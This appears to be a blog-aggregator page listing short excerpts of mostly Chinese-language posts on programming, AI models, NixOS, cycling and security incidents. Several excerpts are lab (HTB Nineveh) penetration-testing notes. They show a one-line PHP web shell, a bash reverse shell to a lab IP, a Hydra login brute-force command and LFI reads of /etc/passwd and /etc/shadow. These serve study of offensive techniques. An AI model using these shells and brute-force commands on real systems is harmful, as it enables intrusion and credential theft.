C++ 学习笔记：vector 不能存引用吗
记录 vector 不能存引用的原因，以及存值、存指针的区别。
在别人的文字里，遇见自己的念头。
独立书写 · 自由阅读技术与创造
按发表时间排列哼！Anthropic 自己都在偷偷抄Deepseek，反过头来还谴责国产AI？
其实… 最近几天（26-10-1 左右），又吵起来了。 可以看看 https://news.ycombinator.com/item?id=49910553 这个评论区。 几乎 A 社（anthropic）每个星期都会发一些指责中国人 AI 方面怎么怎么蒸馏的文章，以及各种中国 AI 给他们的威胁。 比如什么什么中国 AI 创建了超过 24000 个虚假账户... 阅读全文
【运动记】骑行60km
【运动记】骑行60km 02 Oct, 2026 1号那天凌晨一点睡的，八点多醒来。整个白天都在电脑前。干什么呢？用AI写项目。主要是两个：forgejo-sidetree、org-web。第一个是一个浏览器插件，给Forgejo添加文件树的，我用了几个月感觉不错，心血来潮又完善了一下就放到Reddit上推广。第二个项目本来已经死掉被归档了，最近觉得还有点利用价值就又重启了。起因是我不想继续用Orgzly写日记了，想换到web应用直接读取Git仓库中的*.org文件，这样来得轻松一些。目前为止体验不错。 在离国庆还
Web Fuzzing
Fuzzer 我最常用的就是 ffuf 了，不過還有很多選擇。 MaccGenics Notes - Fuzzing tools (tooling)： wenum gobuster feroxbuster … 心得 記得加上 Cookie！ 不要懷疑，真的會忘記，如果沒有掃到東西，或是掃到一堆 302，務必務必務必先檢查有沒有加上 Cookie … 副檔名 PHP: -e .php,.txt,.bak,.old,.zip IIS: -e .aspx,.asp,.config Java: -e .jsp,.do,.a
Jev 的边界
把 Jev 放进 Free4Chat 的 Room App 和 Live View 做了一轮实验后，我没有找到一个必须接入它的产品场景，却更清楚地看到了确定性代码、Decision Model 和 Generative Model 之间的边界。
jev 兼容
https://github.com/mizorewww/laya-mlx https://github.com/mizorewww/laya-coreml 要运行 aac6fef/laya-coreml 并提供 Type-Safe（类型安全） 兼容的 API，最有效的方法是结合 Python 的 laya_coreml 库，并利用 Pydantic 或 Python 3.10+ 的 TypedDict / Literal 对输入结构与返回概率进行严格的类型约束。 由于该模型不是生成文本的大模型，而是直接
新AI模型 Jev 实战：概念、场景和两个实战
一、一个不写字的模型 9 月 15 日，一条推文在开发者社区里传开。 发帖人是 Diogo Almeida。他说自己参与发明了 ChatGPT，然后一直在问自己一个问题：为什么对话模型已经强到超人，AGI 还是没有出现？过去两年他"隐身"，用一种新的训练方法（RLCD）训出了一个新类型的模型，今天发布，名字叫 Jev。 他给出的数字：快 20–200 倍，便宜 40–400 倍。TypeSafe AI 同期宣布了 4000 万美元种子轮。 接下来几天，用 TechCrunch 的标题概括就是："一个来自 ChatG
第十四章 留下什么，后来的人才能接着查
从两个句子往回走 下周一九点半，周宁打开交接包，没有先听许澄重新讲一遍事情经过。他从 M12 v2 里挑出两个句子，按现有索引返回依据。这是交接前的内部检查：先看已有索引能否支持无口头补充的返回。周宁参与过全程，他的顺利读取还不能证明未参与者也能独立使用档案；熟悉者可能凭记忆补足文档没有写明的关系。
第十三章 新材料来了，哪一句必须重写
十四没有一直留到下一版 周五九点十五分，梁策向联络组提供 M08 v2。更正件在九点形成，附有一项脱敏业务编号的对应说明：周三南区同一笔业务在原汇总中重复计入，原摘要的十四笔应改为十三笔。 周宁先打开周四保存的 v1。他与许澄当时引用的确实是十四，来源归属也写得清楚。数字没有被联络组抄错，但这不意味着简报无需修改。M12 把摘要计数提供给了读者，现在原材料提供方给出了可按重复编号核对的更正，旧数字继续作为现行计数出现就会误导。
如何把爛爛的 shell 升級成好用的 TTY
打滲透必學的技能之一。你有幾個方法可以叫出 bash： python3 -c 'import pty; pty.spawn("/bin/bash")' script /dev/null -c bash 接著： svc@busqueda:/var/www/app$ python3 -c 'import pty; pty.spawn("/bin/bash")' svc@busqueda:/var/www/app$ ^Z [1]+ Stopped nc -lvnp 443 $ stty raw -echo &&a...
苹果 iPhone 安全神话被打破：币圈应用FomoPeek沙盒逃逸读取了其他APP私钥
2026 年 9 月 19 日，慢雾联合 OKX 安全团队披露：iOS 应用 FomoPeek 1.1、1.2 版本内置一套 iOS 内核攻击框架，可突破沙盒读取并解密系统 Keychain，导致私钥、助记词、登录凭证泄露。受影响 iOS 版本为 12.0～18.7 与 26.0～26.1。
博客接入 Google AdSense：初体验并不好
正如上一篇博文以及广告政策页面提到，本站在前两天的时候实验性地接入了Google AdSense（以下简称GGAD），打算先实验一个月，想看看这对于站点的开销是否有缓解作用。然而，如果光看这接入...
Zine#59 - 和手機的關係、謠言、已讀不回
Zine#59 和手機的關係、謠言、已讀不回 目錄 News | Article Cool Bit Tutorial | Resource Code Related AI Related Tool | Library Emacs 一些话 | 摘抄 多媒体 開頭的音樂分享會有人期待嗎？不管如何，如果你想找點歌聴，推薦聴聴 上期 分享的 Men I Trust！除此之外，這周 Hopico 也更新了一期 ⸺ 原来莫文蔚最好的 9 首情歌，都藏在滚石唱片。好痛！特别痛！ ⸺ 我也把裡面提到的専輯也找來聴了，你也可以去聴聴
Jev 深度解读与实测：只做判断的 AI，究竟快在哪里
从重复扣费工单出发，解释 Jev 的类型化判断、并行输出与概率校准，并记录 TypeSafe skill 安装和六条中英文样本的真实 API 结果，区分本机体验与官方性能评测。
NixOS Is Not for Me Right Now
NixOS Is Not for Me Right Now 20 Sep, 2026 Over the past few days I tried NixOS, and yesterday I realized it's not for me. What first drew me in was one thing about NixOS: complete control over a system, inside and out — as long as the config is there, you can
Vol.119 智能越便宜越需要外置标准：把判断留在模型之外的尺子地图
本期内容从可托付的智能出发，梳理把判断留在模型之外的尺子：实时语音与低成本架构、编译器与类型约束、Graph Engineering 与 Harness、安全默认拒绝，以及前沿模型治理、经验闭环与组织重构。
雨崩路线三维地图展示
抽空将上次徒步的路线导出到谷歌地球里面，叠加地形和卫星影像查看。

谷歌地球用来做涉及地理地貌方面的内容演示实在是太方便了，可以将其看成是ArcGIS的StoryMap的三维版本。



<iframe style="width...
短暂尝试 NixOS，它不适合我
短暂尝试 NixOS，它不适合我 20 Sep, 2026 一开始想尝试，是因为 NixOS 有一点很吸引我：能完全掌控系统的内内外外，只要配置在，就能在一台全新设备上还原出一模一样的环境。这真的很棒，因为使用 Linux 系统要掌握很多内容，总有不熟悉的地方，而把系统搞崩溃后如何回退，往往是个很头疼的问题。NixOS 的设计恰好完美地解决了这个问题。 它会保存所有基于现有配置构建的系统，想要回退到上一个版本，只需要一行 sudo nixos-rebuild switch --rollback 。而让我头疼的 do
视野修炼第133期 | Native 回春了?
① Shopify 从 React Native 又转向 Native ② UI SKILLS 合集 ③ JS 13KB 做出来的小游戏 ④ Claude也默认支持 AGENTS.md 了 ⑤ Tailwind CSS 加入 Shopify ⑥ iPhone Duo 风格 一 Mac 状态栏图标 ⑦ 复古手绘风格组件 ⑧ 纯CSS手绘风格标注 ⑨ Rslib 1.0 正式发布 ⑩ SQL Playground ⑪ 可视化3D讲解引力 ⑫ await fetch 在等什么 ⑬ VS Code 的故事 ⑭ 最好的深色模
关于 AI Coding 的一些个人技巧
之前写了一篇 《尽职编程：AI Coding 时代的个体产出差异的来源》 引发了大家很多讨论，但那篇文章只写了工作态度，没有太多可以指导工作实践的技巧。所以我打算再分享下一些更具实操性内容。 网上关于 AI Coding 最多的讨论都集中在工具和模型，但我认为这种讨论就如同过去人工编程讨论用什么 IDE 和语言一样，没有太大意义。我发现自己现在似乎从来不在乎用的工具和模型是什么，我用过 cursor，windsurf，devin，codex，claude code，没有太大的感觉他们有什么本质的差异。在今年 Opu
Python 潮流周刊#168：AI 智能体少写一半代码、Numba 提速 750 倍、PyPI 故障查了两周
分享了 12 篇文章，12 个开源项目
SecList
簡單整理一下 SecList 的辭典。
Knock
網路版本的芝麻開門？
Pivoting and Tunneling
SSH tunneling over SOCKS proxy $ nmap -sT -p22,3306 10.129.202.64 PORT STATE SERVICE 22/tcp open ssh 3306/tcp closed mysql MySQL 並沒有對外開放，若要使用必須透過 port forwarding，可以透過 SSH 將 MySQL 轉到 port 1234 上： abb00717@ABB00717:~ $ ssh -L 1234:localhost:3306 ubuntu@10.129.20
File Inclusion
通常我都會配合 ffuf 和指定辭典使用： SecLists/Fuzzing/LFI/LFI-Jhaddix.txt：我會最優先使用的 PayloadsAllTheThings/Directory\ Traversal/Intruder/dotdotpwn.txt：測的東西比 Jhaddix 多很多，但很容易誤報。 若確認找到 File Inclusion，以下是一些不錯的選擇： /etc/passwd /etc/shadow/ /etc/hostname /etc/hosts /etc/crontab /proc
Login Brute Forcing
Nineveh 在 Nineveh 靶機中，我使用 Hydra 配合 xato-net-10-million-passwords-10000.txt 辭典成功爆破出 nineveh.htb/db 的 password123： $ hydra -l admin -P /usr/share/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt -s 443 -S nineveh.htb https-post-form
Reverse Shell
Nineveh 在 Nineveh 這台靶機中，我們利用 Hydra 爆破了 nineveh.htb/db 的登入頁面，在裡面我們可以任意修改資料庫： 資料庫被存在 /var/tmp/，恰好在另外一個網頁 nineveh.htb/department/ 找到了 File Inclusion， 通常會直接用簡單的 <?php system($_GET['cmd']); ?> 配合簡單的 Reverse Shell： bash -c 'sh -i >& /dev/tcp/10.10.17.56/6061 0>&1' 要
Broken Authentication
Nineveh 在 Nineveh 靶機中的 nineveh.htb/department 登入是這麼寫的： session_start(); if (isset($_SESSION['username'])) { header('Location: manage.php'); die(); } $USER = 'admin'; $PASS = '1q2w3e4r5t'; if (isset($_POST['username']) && isset($_POST['pa...
网站被投毒
2026-09-17，我发现 colobu.com 的页面上被加载了一个可疑 iframe： https://soduncdn.com/m.html 。域名注册于十天前、没有任何 A 记录、被 6/89 个安全引擎标记。查了一圈之后，结论有点出乎意料。 结论 页面本身没被改。被投毒的是页面引用的那个第三方 CDN 脚本。 出问题的是一行看起来再普通不过的写法： 1 < script src = "//cdn.staticfile.org/jquery/1.11.1/jquery.min.js" > </
当苍蝇尝试在蛋上钻缝：又谈站点垃圾广告
又休息了一段时间之后，回来更一篇吧。虽然还没完全适应过来，尤其是精力不足的问题多少还是有点，但日子总得过下去，因此只能想办法继续调整了。这篇博文，算是翻出来点冷饭，掺点新鲜饭，炒一炒。之前已经有...